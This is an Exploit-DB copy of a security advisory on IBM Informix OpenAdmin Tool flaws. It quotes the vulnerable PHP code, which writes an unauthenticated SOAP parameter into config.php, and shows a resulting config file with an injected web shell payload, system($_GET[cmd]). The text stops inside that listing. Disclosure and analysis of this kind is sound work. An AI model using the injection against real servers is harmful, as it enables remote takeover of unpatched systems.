Exploit-DB #42091
Description: IBM Informix Dynamic Server / Informix Open Admin Tool - DLL Injection / Remote Code Execution / Heap Buffer Overflow
Type: webapps
Platform: windows
Date: 2017-05-30
Author: SecuriTeam

Exploit:
## Vulnerabilities Summary
The following advisory describes six (6) vulnerabilities found in Informix Dynamic Server and Informix Open Admin Tool.

IBM Informix Dynamic Server Exceptional, low maintenance online transaction processing (OLTP) data server for enterprise and workgroup computing.

IBM Informix Dynamic Server has many features that cater to a variety of user groups, including developers and administrators. One of the strong features of IDS is the low administration cost. IDS is well known for its hands-free administration. To make server administration even easier, a new open source, platform-independent tool called OpenAdmin Tool (OAT) is now available to IDS users. The OAT includes a graphical interface for administrative tasks and performance analysis tools.

## Vulnerabilities:

- Unauthentication static PHP code injection that leads to remote code execution
- Heap buffer overflow
- Remote DLL Injection that leads to remote code execution (1)
- Remote DLL Injection that leads to remote code execution (2)
- Remote DLL Injection that leads to remote code execution (3)
- Remote DLL Injection that leads to remote code execution (4)

## Credit

An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

## Vendor response
IBM has released patches to address those vulnerabilities and issued the following CVE’s:

- CVE-2016-2183
- CVE-2017-1092

For more Information – http://www-01.ibm.com/support/docview.wss?uid=swg22002897

## Vulnerabilities Details

IBM Informix Dynamic Server installs a PHP enable Apache server as a Windows Service (“Apache_for_OAT”) which listens on public port 8080 (tcp/http) for incoming requests to the OpenAdmin web panel. It runs with NT AUTHORITY\SYSTEM privileges.

Unauthentication static PHP code injection that leads to remote code execution
IBM Informix Dynamic Server Developer is vulnerable to Unauthentication static PHP code injection by invoking welcomeService.php which offers a SOAP interface.

The welcomeServer.php class suffers of a static PHP code injection into the “saveHomePage” method. Arbitrary code can be injected into ‘config.php‘, which is accessible to remote users. Given this, a remote attacker could execute arbitrary code/commands with the privileges of the target service.

Vulnerable code – C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\welcome\welcomeService.php


```
...
<?php
[..]

$ini = ini_set("soap.wsdl_cache_enabled","0");

require_once("welcomeServer.php");

$server = new SoapServer("welcome.wsdl");
$server->setClass("welcomeServer");
if (isset($HTTP_RAW_POST_DATA))
  {
  $request = $HTTP_RAW_POST_DATA;
} else
  {
  $request = file_get_contents('php://input');
}

$server->handle($request);
?>
...
```

If we will look into saveHomePage() method inside
C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\welcome\welcomeServer.php:

```
...
/**
   * Save the selected home page in the config.php file.
   */
  public function saveHomePage ($new_home_page)  <---------------------------------------
  {
    $this->idsadmin->load_lang("admin");
    $conf_vars = $this->idsadmin->get_config("*");

    // create backup of config file
    $src=$conf_vars['HOMEDIR']."/conf/config.php";
    $dest=$conf_vars['HOMEDIR']."/conf/BAKconfig.php";
    copy($src,$dest);

    // open the config file
    if (! is_writable($src))
    {
      trigger_error($this->idsadmin->lang("SaveCfgFailure"). " $src");
      return;
    }
    $fd = fopen($src,'w+'); <------------------------------ [*]
    // write out the config
    fputs($fd,"<?php \n");
    foreach ($conf_vars as $k => $v)
    {
      if ($k == "HOMEPAGE")
      {
        $v = $new_home_page; <----------------------------------- [**]
      }
      else if ($k == "CONNDBDIR" || $k == "HOMEDIR")
      {
        // Replace backslashes in paths with forward slashes
        $this->idsadmin->in[$k] = str_replace('\\', '/', $this->idsadmin->in[$k]);
        /* idsdb00494581: An extra '"' gets written to $CONF['CONNDBDIR'] in config.php
         * silent install in /vobs/idsadmin/idsadmin/install/index.php:saveDefaultConfig() writes the above line
         * based on $conndbdir = addslashes(substr(@$_SERVER['argv'][3],11)); TODO: fix the initial writing into config.php (Windows only issue)
         */
        if ($v[strlen($v)-1] == '"') {
          $v = substr($v, 0, -1);
        }
      }
      $out = "\$CONF['{$k}']=\"{$v}\";#{$this->idsadmin->lang($k)}\n"; <--------------------------- [***]
      fputs($fd,$out); <-------------------------------------- [****]
    }
    fputs($fd,"?>\n");
    fclose($fd);

    return $new_home_page;
  }
...
```

Note that $new_home_page is the unique parameter of a SOAP request and it is controlled;

The resulting file could look like this:


```
...
<?php
$CONF['LANG']="en_US";#The default language for the OAT pages.
$CONF['BASEURL']="http://WIN-PF2VMDT4MVO:8080/openadmin";#The URL where OAT is installed in this format: http://servername:port/location.
$CONF['HOMEDIR']="C:/Program Files (x86)/IBM Informix Software Bundle/OAT/Apache_2.2.22/htdocs/openadmin/";#The directory for the OAT installation.
$CONF['CONNDBDIR']="C:\Program Files (x86)\IBM Informix Software Bundle\OAT\OAT_conf";#The directory for the OAT connections database. Specify a secure directory that is not under the document directory for the web server.
$CONF['HOMEPAGE']="";system($_GET[cmd]);//";#The page to use as the OAT home page.
$CONF['PINGINTERVAL']="300";#The length of time (in seconds) between updates of the server status. The server status is shown on the Health Center > Dashboard > Group Summary page.
$CONF['ROWSPERPAGE']="25";#The default number of rows per page to display when data is shown in a table